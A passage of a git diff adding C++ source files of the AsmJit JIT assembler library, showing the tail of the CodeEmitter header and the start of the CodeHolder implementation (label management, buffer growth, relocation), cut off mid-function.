Label in case that the name is invalid or label was not found. + //! + //! NOTE: This function doesn't trigger ErrorHandler in case the name is + //! invalid or no such label exist. You must always check the validity of the + //! \ref Label returned. + ASMJIT_API Label getLabelByName( + const char* name, + size_t nameLength = Globals::kInvalidIndex, + uint32_t parentId = 0) noexcept; + + //! Bind the `label` to the current position of the current section. + //! + //! NOTE: Attempt to bind the same label multiple times will return an error. + virtual Error bind(const Label& label) = 0; + + //! Align to the `alignment` specified. + //! + //! The sequence that is used to fill the gap between the aligned location + //! and the current location depends on the align `mode`, see \ref AlignMode. + virtual Error align(uint32_t mode, uint32_t alignment) = 0; + + //! Embed raw data into the code-buffer. + virtual Error embed(const void* data, uint32_t size) = 0; + + //! Embed absolute label address as data (4 or 8 bytes). + virtual Error embedLabel(const Label& label) = 0; + + //! Embed a constant pool into the code-buffer in the following steps: + //! 1. Align by using kAlignData to the minimum `pool` alignment. + //! 2. Bind `label` so it's bound to an aligned location. + //! 3. Emit constant pool data. + virtual Error embedConstPool(const Label& label, const ConstPool& pool) = 0; + + //! Emit a comment string `s` with an optional `len` parameter. + virtual Error comment(const char* s, size_t len = Globals::kInvalidIndex) = 0; + + // -------------------------------------------------------------------------- + // [Code-Generation Status] + // -------------------------------------------------------------------------- + + //! Get if the CodeEmitter is initialized (i.e. attached to a \ref CodeHolder). + ASMJIT_INLINE bool isInitialized() const noexcept { return _code != nullptr; } + + ASMJIT_API virtual Error finalize(); + + // -------------------------------------------------------------------------- + // [Code Information] + // -------------------------------------------------------------------------- + + //! Get information about the code, see \ref CodeInfo. + ASMJIT_INLINE const CodeInfo& getCodeInfo() const noexcept { return _codeInfo; } + //! Get \ref CodeHolder this CodeEmitter is attached to. + ASMJIT_INLINE CodeHolder* getCode() const noexcept { return _code; } + + //! Get information about the architecture, see \ref ArchInfo. + ASMJIT_INLINE const ArchInfo& getArchInfo() const noexcept { return _codeInfo.getArchInfo(); } + + //! Get if the target architecture is 32-bit. + ASMJIT_INLINE bool is32Bit() const noexcept { return getArchInfo().is32Bit(); } + //! Get if the target architecture is 64-bit. + ASMJIT_INLINE bool is64Bit() const noexcept { return getArchInfo().is64Bit(); } + + //! Get the target architecture type. + ASMJIT_INLINE uint32_t getArchType() const noexcept { return getArchInfo().getType(); } + //! Get the target architecture sub-type. + ASMJIT_INLINE uint32_t getArchSubType() const noexcept { return getArchInfo().getSubType(); } + //! Get the target architecture's GP register size (4 or 8 bytes). + ASMJIT_INLINE uint32_t getGpSize() const noexcept { return getArchInfo().getGpSize(); } + //! Get the number of target GP registers. + ASMJIT_INLINE uint32_t getGpCount() const noexcept { return getArchInfo().getGpCount(); } + + // -------------------------------------------------------------------------- + // [Code-Emitter Type] + // -------------------------------------------------------------------------- + + //! Get the type of this CodeEmitter, see \ref Type. + ASMJIT_INLINE uint32_t getType() const noexcept { return _type; } + + ASMJIT_INLINE bool isAssembler() const noexcept { return _type == kTypeAssembler; } + ASMJIT_INLINE bool isCodeBuilder() const noexcept { return _type == kTypeBuilder; } + ASMJIT_INLINE bool isCodeCompiler() const noexcept { return _type == kTypeCompiler; } + + // -------------------------------------------------------------------------- + // [Global Information] + // -------------------------------------------------------------------------- + + //! Get global hints. + ASMJIT_INLINE uint32_t getGlobalHints() const noexcept { return _globalHints; } + + //! Get global options. + //! + //! Global options are merged with instruction options before the instruction + //! is encoded. These options have some bits reserved that are used for error + //! checking, logging, and strict validation. Other options are globals that + //! affect each instruction, for example if VEX3 is set globally, it will all + //! instructions, even those that don't have such option set. + ASMJIT_INLINE uint32_t getGlobalOptions() const noexcept { return _globalOptions; } + + // -------------------------------------------------------------------------- + // [Error Handling] + // -------------------------------------------------------------------------- + + //! Get if the object is in error state. + //! + //! Error state means that it does not consume anything unless the error + //! state is reset by calling `resetLastError()`. Use `getLastError()` to + //! get the last error that put the object into the error state. + ASMJIT_INLINE bool isInErrorState() const noexcept { return _lastError != kErrorOk; } + + //! Get the last error code. + ASMJIT_INLINE Error getLastError() const noexcept { return _lastError; } + //! Set the last error code and propagate it through the error handler. + ASMJIT_API Error setLastError(Error error, const char* message = nullptr); + //! Clear the last error code and return `kErrorOk`. + ASMJIT_INLINE Error resetLastError() noexcept { return setLastError(kErrorOk); } + + // -------------------------------------------------------------------------- + // [Accessors That Affect the Next Instruction] + // -------------------------------------------------------------------------- + + //! Get options of the next instruction. + ASMJIT_INLINE uint32_t getOptions() const noexcept { return _options; } + //! Set options of the next instruction. + ASMJIT_INLINE void setOptions(uint32_t options) noexcept { _options = options; } + //! Add options of the next instruction. + ASMJIT_INLINE void addOptions(uint32_t options) noexcept { _options |= options; } + //! Reset options of the next instruction. + ASMJIT_INLINE void resetOptions() noexcept { _options = 0; } + + //! Get if the extra register operand is valid. + ASMJIT_INLINE bool hasExtraReg() const noexcept { return _extraReg.isValid(); } + //! Get an extra operand that will be used by the next instruction (architecture specific). + ASMJIT_INLINE const RegOnly& getExtraReg() const noexcept { return _extraReg; } + //! Set an extra operand that will be used by the next instruction (architecture specific). + ASMJIT_INLINE void setExtraReg(const Reg& reg) noexcept { _extraReg.init(reg); } + //! Set an extra operand that will be used by the next instruction (architecture specific). + ASMJIT_INLINE void setExtraReg(const RegOnly& reg) noexcept { _extraReg.init(reg); } + //! Reset an extra operand that will be used by the next instruction (architecture specific). + ASMJIT_INLINE void resetExtraReg() noexcept { _extraReg.reset(); } + + //! Get annotation of the next instruction. + ASMJIT_INLINE const char* getInlineComment() const noexcept { return _inlineComment; } + //! Set annotation of the next instruction. + //! + //! NOTE: This string is set back to null by `_emit()`, but until that it has + //! to remain valid as `CodeEmitter` is not required to make a copy of it (and + //! it would be slow to do that for each instruction). + ASMJIT_INLINE void setInlineComment(const char* s) noexcept { _inlineComment = s; } + //! Reset annotation of the next instruction to null. + ASMJIT_INLINE void resetInlineComment() noexcept { _inlineComment = nullptr; } + + // -------------------------------------------------------------------------- + // [Helpers] + // -------------------------------------------------------------------------- + + //! Get if the `label` is valid (i.e. registered). + ASMJIT_INLINE bool isLabelValid(const Label& label) const noexcept { + return isLabelValid(label.getId()); + } + + //! Get if the label `id` is valid (i.e. registered). + ASMJIT_API bool isLabelValid(uint32_t id) const noexcept; + + //! Emit a formatted string `fmt`. + ASMJIT_API Error commentf(const char* fmt, ...); + //! Emit a formatted string `fmt` (va_list version). + ASMJIT_API Error commentv(const char* fmt, va_list ap); + + // -------------------------------------------------------------------------- + // [Emit] + // -------------------------------------------------------------------------- + + // NOTE: These `emit()` helpers are designed to address a code-bloat generated + // by C++ compilers to call a function having many arguments. Each parameter to + // `_emit()` requires code to pass it, which means that if we default to 4 + // operand parameters in `_emit()` and instId the C++ compiler would have to + // generate a virtual function call having 5 parameters, which is quite a lot. + // Since by default asm instructions have 2 to 3 operands it's better to + // introduce helpers that pass those and fill all the remaining with `_none`. + + //! Emit an instruction. + ASMJIT_API Error emit(uint32_t instId); + //! \overload + ASMJIT_API Error emit(uint32_t instId, const Operand_& o0); + //! \overload + ASMJIT_API Error emit(uint32_t instId, const Operand_& o0, const Operand_& o1); + //! \overload + ASMJIT_API Error emit(uint32_t instId, const Operand_& o0, const Operand_& o1, const Operand_& o2); + //! \overload + ASMJIT_API Error emit(uint32_t instId, const Operand_& o0, const Operand_& o1, const Operand_& o2, const Operand_& o3); + //! \overload + ASMJIT_API Error emit(uint32_t instId, const Operand_& o0, const Operand_& o1, const Operand_& o2, const Operand_& o3, const Operand_& o4); + //! \overload + ASMJIT_API Error emit(uint32_t instId, const Operand_& o0, const Operand_& o1, const Operand_& o2, const Operand_& o3, const Operand_& o4, const Operand_& o5); + + //! Emit an instruction that has a 32-bit signed immediate operand. + ASMJIT_API Error emit(uint32_t instId, int o0); + //! \overload + ASMJIT_API Error emit(uint32_t instId, const Operand_& o0, int o1); + //! \overload + ASMJIT_API Error emit(uint32_t instId, const Operand_& o0, const Operand_& o1, int o2); + //! \overload + ASMJIT_API Error emit(uint32_t instId, const Operand_& o0, const Operand_& o1, const Operand_& o2, int o3); + //! \overload + ASMJIT_API Error emit(uint32_t instId, const Operand_& o0, const Operand_& o1, const Operand_& o2, const Operand_& o3, int o4); + //! \overload + ASMJIT_API Error emit(uint32_t instId, const Operand_& o0, const Operand_& o1, const Operand_& o2, const Operand_& o3, const Operand_& o4, int o5); + + //! Emit an instruction that has a 64-bit signed immediate operand. + ASMJIT_API Error emit(uint32_t instId, int64_t o0); + //! \overload + ASMJIT_API Error emit(uint32_t instId, const Operand_& o0, int64_t o1); + //! \overload + ASMJIT_API Error emit(uint32_t instId, const Operand_& o0, const Operand_& o1, int64_t o2); + //! \overload + ASMJIT_API Error emit(uint32_t instId, const Operand_& o0, const Operand_& o1, const Operand_& o2, int64_t o3); + //! \overload + ASMJIT_API Error emit(uint32_t instId, const Operand_& o0, const Operand_& o1, const Operand_& o2, const Operand_& o3, int64_t o4); + //! \overload + ASMJIT_API Error emit(uint32_t instId, const Operand_& o0, const Operand_& o1, const Operand_& o2, const Operand_& o3, const Operand_& o4, int64_t o5); + + //! \overload + ASMJIT_INLINE Error emit(uint32_t instId, unsigned int o0) { + return emit(instId, static_cast(o0)); + } + //! \overload + ASMJIT_INLINE Error emit(uint32_t instId, const Operand_& o0, unsigned int o1) { + return emit(instId, o0, static_cast(o1)); + } + //! \overload + ASMJIT_INLINE Error emit(uint32_t instId, const Operand_& o0, const Operand_& o1, unsigned int o2) { + return emit(instId, o0, o1, static_cast(o2)); + } + //! \overload + ASMJIT_INLINE Error emit(uint32_t instId, const Operand_& o0, const Operand_& o1, const Operand_& o2, unsigned int o3) { + return emit(instId, o0, o1, o2, static_cast(o3)); + } + //! \overload + ASMJIT_INLINE Error emit(uint32_t instId, const Operand_& o0, const Operand_& o1, const Operand_& o2, const Operand_& o3, unsigned int o4) { + return emit(instId, o0, o1, o2, o3, static_cast(o4)); + } + //! \overload + ASMJIT_INLINE Error emit(uint32_t instId, const Operand_& o0, const Operand_& o1, const Operand_& o2, const Operand_& o3, const Operand_& o4, unsigned int o5) { + return emit(instId, o0, o1, o2, o3, o4, static_cast(o5)); + } + + //! \overload + ASMJIT_INLINE Error emit(uint32_t instId, uint64_t o0) { + return emit(instId, static_cast(o0)); + } + //! \overload + ASMJIT_INLINE Error emit(uint32_t instId, const Operand_& o0, uint64_t o1) { + return emit(instId, o0, static_cast(o1)); + } + //! \overload + ASMJIT_INLINE Error emit(uint32_t instId, const Operand_& o0, const Operand_& o1, uint64_t o2) { + return emit(instId, o0, o1, static_cast(o2)); + } + //! \overload + ASMJIT_INLINE Error emit(uint32_t instId, const Operand_& o0, const Operand_& o1, const Operand_& o2, uint64_t o3) { + return emit(instId, o0, o1, o2, static_cast(o3)); + } + //! \overload + ASMJIT_INLINE Error emit(uint32_t instId, const Operand_& o0, const Operand_& o1, const Operand_& o2, const Operand_& o3, uint64_t o4) { + return emit(instId, o0, o1, o2, o3, static_cast(o4)); + } + //! \overload + ASMJIT_INLINE Error emit(uint32_t instId, const Operand_& o0, const Operand_& o1, const Operand_& o2, const Operand_& o3, const Operand_& o4, uint64_t o5) { + return emit(instId, o0, o1, o2, o3, o4, static_cast(o5)); + } + + ASMJIT_INLINE Error emitOpArray(uint32_t instId, const Operand_* opArray, size_t opCount) { + return _emitOpArray(instId, opArray, opCount); + } + + // -------------------------------------------------------------------------- + // [Members] + // -------------------------------------------------------------------------- + + CodeInfo _codeInfo; //!< Basic information about the code (matches CodeHolder::_codeInfo). + CodeHolder* _code; //!< CodeHolder the CodeEmitter is attached to. + CodeEmitter* _nextEmitter; //!< Linked list of `CodeEmitter`s attached to the same \ref CodeHolder. + + uint8_t _type; //!< See CodeEmitter::Type. + uint8_t _destroyed; //!< Set by ~CodeEmitter() before calling `_code->detach()`. + uint8_t _finalized; //!< True if the CodeEmitter is finalized (CodeBuilder & CodeCompiler). + uint8_t _reserved; //!< \internal + Error _lastError; //!< Last error code. + + uint32_t _privateData; //!< Internal private data used freely by any CodeEmitter. + uint32_t _globalHints; //!< Global hints, always in sync with CodeHolder. + uint32_t _globalOptions; //!< Global options, combined with `_options` before used by each instruction. + + uint32_t _options; //!< Used to pass instruction options (affects the next instruction). + RegOnly _extraReg; //!< Extra register (op-mask {k} on AVX-512) (affects the next instruction). + const char* _inlineComment; //!< Inline comment of the next instruction (affects the next instruction). + + Operand_ _none; //!< Used to pass unused operands to `_emit()` instead of passing null. + Reg _nativeGpReg; //!< Native GP register with zero id. + const Reg* _nativeGpArray; //!< Array of native registers indexed from zero. +}; + +//! \} + +} // asmjit namespace + +// [Api-End] +#include "../asmjit_apiend.h" + +// [Guard] +#endif // _ASMJIT_BASE_CODEEMITTER_H diff --git a/asmjit/src/asmjit/base/codeholder.cpp b/asmjit/src/asmjit/base/codeholder.cpp new file mode 100644 index 0000000..282f012 --- /dev/null +++ b/asmjit/src/asmjit/base/codeholder.cpp @@ -0,0 +1,696 @@ +// [AsmJit] +// Complete x86/x64 JIT and Remote Assembler for C++. +// +// [License] +// Zlib - See LICENSE.md file in the package. + +// [Export] +#define ASMJIT_EXPORTS + +// [Dependencies] +#include "../base/assembler.h" +#include "../base/utils.h" +#include "../base/vmem.h" + +// [Api-Begin] +#include "../asmjit_apibegin.h" + +namespace asmjit { + +// ============================================================================ +// [asmjit::ErrorHandler] +// ============================================================================ + +ErrorHandler::ErrorHandler() noexcept {} +ErrorHandler::~ErrorHandler() noexcept {} + +// ============================================================================ +// [asmjit::CodeHolder - Utilities] +// ============================================================================ + +static void CodeHolder_setGlobalOption(CodeHolder* self, uint32_t clear, uint32_t add) noexcept { + // Modify global options of `CodeHolder` itself. + self->_globalOptions = (self->_globalOptions & ~clear) | add; + + // Modify all global options of all `CodeEmitter`s attached. + CodeEmitter* emitter = self->_emitters; + while (emitter) { + emitter->_globalOptions = (emitter->_globalOptions & ~clear) | add; + emitter = emitter->_nextEmitter; + } +} + +static void CodeHolder_resetInternal(CodeHolder* self, bool releaseMemory) noexcept { + // Detach all `CodeEmitter`s. + while (self->_emitters) + self->detach(self->_emitters); + + // Reset everything into its construction state. + self->_codeInfo.reset(); + self->_globalHints = 0; + self->_globalOptions = 0; + self->_logger = nullptr; + self->_errorHandler = nullptr; + + self->_unresolvedLabelsCount = 0; + self->_trampolinesSize = 0; + + // Reset all sections. + size_t numSections = self->_sections.getLength(); + for (size_t i = 0; i < numSections; i++) { + SectionEntry* section = self->_sections[i]; + if (section->_buffer.hasData() && !section->_buffer.isExternal()) + Internal::releaseMemory(section->_buffer._data); + section->_buffer._data = nullptr; + section->_buffer._capacity = 0; + } + + // Reset zone allocator and all containers using it. + ZoneHeap* heap = &self->_baseHeap; + + self->_namedLabels.reset(heap); + self->_relocations.reset(); + self->_labels.reset(); + self->_sections.reset(); + + heap->reset(&self->_baseZone); + self->_baseZone.reset(releaseMemory); +} + +// ============================================================================ +// [asmjit::CodeHolder - Construction / Destruction] +// ============================================================================ + +CodeHolder::CodeHolder() noexcept + : _codeInfo(), + _globalHints(0), + _globalOptions(0), + _emitters(nullptr), + _cgAsm(nullptr), + _logger(nullptr), + _errorHandler(nullptr), + _unresolvedLabelsCount(0), + _trampolinesSize(0), + _baseZone(16384 - Zone::kZoneOverhead), + _dataZone(16384 - Zone::kZoneOverhead), + _baseHeap(&_baseZone), + _namedLabels(&_baseHeap) {} + +CodeHolder::~CodeHolder() noexcept { + CodeHolder_resetInternal(this, true); +} + +// ============================================================================ +// [asmjit::CodeHolder - Init / Reset] +// ============================================================================ + +Error CodeHolder::init(const CodeInfo& info) noexcept { + // Cannot reinitialize if it's locked or there is one or more CodeEmitter + // attached. + if (isInitialized()) + return DebugUtils::errored(kErrorAlreadyInitialized); + + // If we are just initializing there should be no emitters attached). + ASMJIT_ASSERT(_emitters == nullptr); + + // Create the default section and insert it to the `_sections` array. + Error err = _sections.willGrow(&_baseHeap); + if (err == kErrorOk) { + SectionEntry* se = _baseZone.allocZeroedT(); + if (ASMJIT_LIKELY(se)) { + se->_flags = SectionEntry::kFlagExec | SectionEntry::kFlagConst; + se->_setDefaultName('.', 't', 'e', 'x', 't'); + _sections.appendUnsafe(se); + } + else { + err = DebugUtils::errored(kErrorNoHeapMemory); + } + } + + if (ASMJIT_UNLIKELY(err)) { + _baseZone.reset(false); + return err; + } + else { + _codeInfo = info; + return kErrorOk; + } +} + +void CodeHolder::reset(bool releaseMemory) noexcept { + CodeHolder_resetInternal(this, releaseMemory); +} + +// ============================================================================ +// [asmjit::CodeHolder - Attach / Detach] +// ============================================================================ + +Error CodeHolder::attach(CodeEmitter* emitter) noexcept { + // Catch a possible misuse of the API. + if (!emitter) + return DebugUtils::errored(kErrorInvalidArgument); + + uint32_t type = emitter->getType(); + if (type == CodeEmitter::kTypeNone || type >= CodeEmitter::kTypeCount) + return DebugUtils::errored(kErrorInvalidState); + + // This is suspicious, but don't fail if `emitter` matches. + if (emitter->_code != nullptr) { + if (emitter->_code == this) return kErrorOk; + return DebugUtils::errored(kErrorInvalidState); + } + + // Special case - attach `Assembler`. + CodeEmitter** pSlot = nullptr; + if (type == CodeEmitter::kTypeAssembler) { + if (_cgAsm) + return DebugUtils::errored(kErrorSlotOccupied); + pSlot = reinterpret_cast(&_cgAsm); + } + + Error err = emitter->onAttach(this); + if (err != kErrorOk) return err; + + // Add to a single-linked list of `CodeEmitter`s. + emitter->_nextEmitter = _emitters; + _emitters = emitter; + if (pSlot) *pSlot = emitter; + + // Establish the connection. + emitter->_code = this; + return kErrorOk; +} + +Error CodeHolder::detach(CodeEmitter* emitter) noexcept { + if (!emitter) + return DebugUtils::errored(kErrorInvalidArgument); + + if (emitter->_code != this) + return DebugUtils::errored(kErrorInvalidState); + + uint32_t type = emitter->getType(); + Error err = kErrorOk; + + // NOTE: We always detach if we were asked to, if error happens during + // `emitter->onDetach()` we just propagate it, but the CodeEmitter will + // be detached. + if (!emitter->_destroyed) { + if (type == CodeEmitter::kTypeAssembler) + static_cast(emitter)->sync(); + err = emitter->onDetach(this); + } + + // Special case - detach `Assembler`. + if (type == CodeEmitter::kTypeAssembler) + _cgAsm = nullptr; + + // Remove from a single-linked list of `CodeEmitter`s. + CodeEmitter** pPrev = &_emitters; + for (;;) { + ASMJIT_ASSERT(*pPrev != nullptr); + CodeEmitter* cur = *pPrev; + + if (cur == emitter) { + *pPrev = emitter->_nextEmitter; + break; + } + + pPrev = &cur->_nextEmitter; + } + + emitter->_code = nullptr; + emitter->_nextEmitter = nullptr; + + return err; +} + +// ============================================================================ +// [asmjit::CodeHolder - Sync] +// ============================================================================ + +void CodeHolder::sync() noexcept { + if (_cgAsm) _cgAsm->sync(); +} + +// ============================================================================ +// [asmjit::CodeHolder - Result Information] +// ============================================================================ + +size_t CodeHolder::getCodeSize() const noexcept { + // Reflect all changes first. + const_cast(this)->sync(); + + // TODO: Support sections. + return _sections[0]->_buffer._length + getTrampolinesSize(); +} + +// ============================================================================ +// [asmjit::CodeHolder - Logging & Error Handling] +// ============================================================================ + +#if !defined(ASMJIT_DISABLE_LOGGING) +void CodeHolder::setLogger(Logger* logger) noexcept { + uint32_t opt = 0; + if (logger) opt = CodeEmitter::kOptionLoggingEnabled; + + _logger = logger; + CodeHolder_setGlobalOption(this, CodeEmitter::kOptionLoggingEnabled, opt); +} +#endif // !ASMJIT_DISABLE_LOGGING + +Error CodeHolder::setErrorHandler(ErrorHandler* handler) noexcept { + _errorHandler = handler; + return kErrorOk; +} + +// ============================================================================ +// [asmjit::CodeHolder - Sections] +// ============================================================================ + +static Error CodeHolder_reserveInternal(CodeHolder* self, CodeBuffer* cb, size_t n) noexcept { + uint8_t* oldData = cb->_data; + uint8_t* newData; + + if (oldData && !cb->isExternal()) + newData = static_cast(Internal::reallocMemory(oldData, n)); + else + newData = static_cast(Internal::allocMemory(n)); + + if (ASMJIT_UNLIKELY(!newData)) + return DebugUtils::errored(kErrorNoHeapMemory); + + cb->_data = newData; + cb->_capacity = n; + + // Update the `Assembler` pointers if attached. Maybe we should introduce an + // event for this, but since only one Assembler can be attached at a time it + // should not matter how these pointers are updated. + Assembler* a = self->_cgAsm; + if (a && &a->_section->_buffer == cb) { + size_t offset = a->getOffset(); + + a->_bufferData = newData; + a->_bufferEnd = newData + n; + a->_bufferPtr = newData + offset; + } + + return kErrorOk; +} + +Error CodeHolder::growBuffer(CodeBuffer* cb, size_t n) noexcept { + // This is most likely called by `Assembler` so `sync()` shouldn't be needed, + // however, if this is called by the user and the currently attached Assembler + // did generate some code we could lose that, so sync now and make sure the + // section length is updated. + if (_cgAsm) _cgAsm->sync(); + + // Now the length of the section must be valid. + size_t length = cb->getLength(); + if (ASMJIT_UNLIKELY(n > IntTraits::maxValue() - length)) + return DebugUtils::errored(kErrorNoHeapMemory); + + // We can now check if growing the buffer is really necessary. It's unlikely + // that this function is called while there is still room for `n` bytes. + size_t capacity = cb->getCapacity(); + size_t required = cb->getLength() + n; + if (ASMJIT_UNLIKELY(required <= capacity)) return kErrorOk; + + if (cb->isFixedSize()) + return DebugUtils::errored(kErrorCodeTooLarge); + + if (capacity < 8096) + capacity = 8096; + else + capacity += Globals::kAllocOverhead; + + do { + size_t old = capacity; + if (capacity < Globals::kAllocThreshold) + capacity *= 2; + else + capacity += Globals::kAllocThreshold; + + if (capacity < Globals::kAllocThreshold) + capacity *= 2; + else + capacity += Globals::kAllocThreshold; + + // Overflow. + if (ASMJIT_UNLIKELY(old > capacity)) + return DebugUtils::errored(kErrorNoHeapMemory); + } while (capacity - Globals::kAllocOverhead < required); + + return CodeHolder_reserveInternal(this, cb, capacity - Globals::kAllocOverhead); +} + +Error CodeHolder::reserveBuffer(CodeBuffer* cb, size_t n) noexcept { + size_t capacity = cb->getCapacity(); + if (n <= capacity) return kErrorOk; + + if (cb->isFixedSize()) + return DebugUtils::errored(kErrorCodeTooLarge); + + // We must sync, as mentioned in `growBuffer()` as well. + if (_cgAsm) _cgAsm->sync(); + + return CodeHolder_reserveInternal(this, cb, n); +} + +// ============================================================================ +// [asmjit::CodeHolder - Labels & Symbols] +// ============================================================================ + +namespace { + +//! \internal +//! +//! Only used to lookup a label from `_namedLabels`. +class LabelByName { +public: + ASMJIT_INLINE LabelByName(const char* name, size_t nameLength, uint32_t hVal) noexcept + : name(name), + nameLength(static_cast(nameLength)) {} + + ASMJIT_INLINE bool matches(const LabelEntry* entry) const noexcept { + return static_cast(entry->getNameLength()) == nameLength && + ::memcmp(entry->getName(), name, nameLength) == 0; + } + + const char* name; + uint32_t nameLength; + uint32_t hVal; +}; + +// Returns a hash of `name` and fixes `nameLength` if it's `Globals::kInvalidIndex`. +static uint32_t CodeHolder_hashNameAndFixLen(const char* name, size_t& nameLength) noexcept { + uint32_t hVal = 0; + if (nameLength == Globals::kInvalidIndex) { + size_t i = 0; + for (;;) { + uint8_t c = static_cast(name[i]); + if (!c) break; + hVal = Utils::hashRound(hVal, c); + i++; + } + nameLength = i; + } + else { + for (size_t i = 0; i < nameLength; i++) { + uint8_t c = static_cast(name[i]); + if (ASMJIT_UNLIKELY(!c)) return DebugUtils::errored(kErrorInvalidLabelName); + hVal = Utils::hashRound(hVal, c); + } + } + return hVal; +} + +} // anonymous namespace + +LabelLink* CodeHolder::newLabelLink(LabelEntry* le, uint32_t sectionId, size_t offset, intptr_t rel) noexcept { + LabelLink* link = _baseHeap.allocT(); + if (ASMJIT_UNLIKELY(!link)) return nullptr; + + link->prev = le->_links; + le->_links = link; + + link->sectionId = sectionId; + link->relocId = RelocEntry::kInvalidId; + link->offset = offset; + link->rel = rel; + + _unresolvedLabelsCount++; + return link; +} + +Error CodeHolder::newLabelId(uint32_t& idOut) noexcept { + idOut = 0; + + size_t index = _labels.getLength(); + if (ASMJIT_LIKELY(index >= Operand::kPackedIdCount)) + return DebugUtils::errored(kErrorLabelIndexOverflow); + + ASMJIT_PROPAGATE(_labels.willGrow(&_baseHeap)); + LabelEntry* le = _baseHeap.allocZeroedT(); + + if (ASMJIT_UNLIKELY(!le)) + return DebugUtils::errored(kErrorNoHeapMemory);; + + uint32_t id = Operand::packId(static_cast(index)); + le->_setId(id); + le->_parentId = 0; + le->_sectionId = SectionEntry::kInvalidId; + le->_offset = 0; + + _labels.appendUnsafe(le); + idOut = id; + return kErrorOk; +} + +Error CodeHolder::newNamedLabelId(uint32_t& idOut, const char* name, size_t nameLength, uint32_t type, uint32_t parentId) noexcept { + idOut = 0; + uint32_t hVal = CodeHolder_hashNameAndFixLen(name, nameLength); + + if (ASMJIT_UNLIKELY(nameLength == 0)) + return DebugUtils::errored(kErrorInvalidLabelName); + + if (ASMJIT_UNLIKELY(nameLength > Globals::kMaxLabelLength)) + return DebugUtils::errored(kErrorLabelNameTooLong); + + switch (type) { + case Label::kTypeLocal: + if (ASMJIT_UNLIKELY(Operand::unpackId(parentId) >= _labels.getLength())) + return DebugUtils::errored(kErrorInvalidParentLabel); + + hVal ^= parentId; + break; + + case Label::kTypeGlobal: + if (ASMJIT_UNLIKELY(parentId != 0)) + return DebugUtils::errored(kErrorNonLocalLabelCantHaveParent); + + break; + + default: + return DebugUtils::errored(kErrorInvalidArgument); + } + + // Don't allow to insert duplicates. Local labels allow duplicates that have + // different id, this is already accomplished by having a different hashes + // between the same label names having different parent labels. + LabelEntry* le = _namedLabels.get(LabelByName(name, nameLength, hVal)); + if (ASMJIT_UNLIKELY(le)) + return DebugUtils::errored(kErrorLabelAlreadyDefined); + + Error err = kErrorOk; + size_t index = _labels.getLength(); + + if (ASMJIT_UNLIKELY(index >= Operand::kPackedIdCount)) + return DebugUtils::errored(kErrorLabelIndexOverflow); + + ASMJIT_PROPAGATE(_labels.willGrow(&_baseHeap)); + le = _baseHeap.allocZeroedT(); + + if (ASMJIT_UNLIKELY(!le)) + return DebugUtils::errored(kErrorNoHeapMemory); + + uint32_t id = Operand::packId(static_cast(index)); + le->_hVal = hVal; + le->_setId(id); + le->_type = static_cast(type); + le->_parentId = 0; + le->_sectionId = SectionEntry::kInvalidId; + le->_offset = 0; + + if (le->_name.mustEmbed(nameLength)) { + le->_name.setEmbedded(name, nameLength); + } + else { + char* nameExternal = static_cast(_dataZone.dup(name, nameLength, true)); + if (ASMJIT_UNLIKELY(!nameExternal)) + return DebugUtils::errored(kErrorNoHeapMemory); + le->_name.setExternal(nameExternal, nameLength); + } + + _labels.appendUnsafe(le); + _namedLabels.put(le); + + idOut = id; + return err; +} + +uint32_t CodeHolder::getLabelIdByName(const char* name, size_t nameLength, uint32_t parentId) noexcept { + uint32_t hVal = CodeHolder_hashNameAndFixLen(name, nameLength); + if (ASMJIT_UNLIKELY(!nameLength)) return 0; + + LabelEntry* le = _namedLabels.get(LabelByName(name, nameLength, hVal)); + return le ? le->getId() : static_cast(0); +} + +// ============================================================================ +// [asmjit::CodeEmitter - Relocations] +// ============================================================================ + +//! Encode MOD byte. +static ASMJIT_INLINE uint32_t x86EncodeMod(uint32_t m, uint32_t o, uint32_t rm) noexcept { + return (m << 6) | (o << 3) | rm; +} + +Error CodeHolder::newRelocEntry(RelocEntry** dst, uint32_t type, uint32_t size) noexcept { + ASMJIT_PROPAGATE(_relocations.willGrow(&_baseHeap)); + + size_t index = _relocations.getLength(); + if (ASMJIT_UNLIKELY(index > size_t(0xFFFFFFFFU))) + return DebugUtils::errored(kErrorRelocIndexOverflow); + + RelocEntry* re = _baseHeap.allocZeroedT(); + if (ASMJIT_UNLIKELY(!re)) + return DebugUtils::errored(kErrorNoHeapMemory); + + re->_id = static_cast(index); + re->_type = static_cast(type); + re->_size = static_cast(size); + re->_sourceSectionId = SectionEntry::kInvalidId; + re->_targetSectionId = SectionEntry::kInvalidId; + _relocations.appendUnsafe(re); + + *dst = re; + return kErrorOk; +} + +// TODO: Support multiple sections, this only relocates the first. +// TODO: This should go to Runtime as it's responsible for relocating the +// code, CodeHolder should just hold it. +size_t CodeHolder::relocate(void* _dst, uint64_t baseAddress) const noexcept { + SectionEntry* section = _sections[0]; + ASMJIT_ASSERT(section != nullptr); + + uint8_t* dst = static_cast(_dst); + if (baseAddress == Globals::kNoBaseAddress) + baseAddress = static_cast((uintptr_t)dst); + +#if !defined(ASMJIT_DISABLE_LOGGING) + Logger* logger = getLogger(); +#endif // ASMJIT_DISABLE_LOGGING + + size_t minCodeSize = section->getBuffer().getLength(); // Minimum code size. + size_t maxCodeSize = getCodeSize(); // Includes all possible trampolines. + + // We will copy the exact size of the generated code. Extra code for trampolines + // is generated on-the-fly by the relocator (this code doesn't exist at the moment). + ::memcpy(dst, section->_buffer._data, minCodeSize); + + // Trampoline offset from the beginning of dst/baseAddress. + size_t trampOffset = minCodeSize; + + // Relocate all recorded locations. + size_t numRelocs = _relocations.getLength(); + const RelocEntry* const* reArray = _relocations.getData(); + + for (size_t i = 0; i < numRelocs; i++) { + const RelocEntry* re = reArray[i]; + + // Possibly deleted or optimized out relocation entry. + if (re->getType() == RelocEntry::kTypeNone) + continue; + + uint64_t ptr = re->getData(); + size_t codeOffset = static_cast(re->getSourceOffset()); + + // Make sure that the `RelocEntry` is correct, we don't want to write + // out of bounds in `dst`. + if (ASMJIT_UNLIKELY(codeOffset + re->getSize() > maxCodeSize)) + return DebugUtils::errored(kErrorInvalidRelocEntry); + + // Whether to use trampoline, can be only used if relocation type is `kRelocTrampoline`. + bool useTrampoline = false; + + switch (re->getType()) { + case RelocEntry::kTypeAbsToAbs: { + break; + } + + case RelocEntry::kTypeRelToAbs: { + ptr += baseAddress; + break; + } + + case RelocEntry::kTypeAbsToRel: { + ptr -= baseAddress + re->getSourceOffset() + re->getSize(); + break; + } + + case RelocEntry::kTypeTrampoline: { + if (re->getSize() != 4) + return DebugUtils::errored(kErrorInvalidRelocEntry); + + ptr -= baseAddress + re->getSourceOffset() + re->getSize(); + if (!Utils::isInt32(static_cast(ptr))) { + ptr = 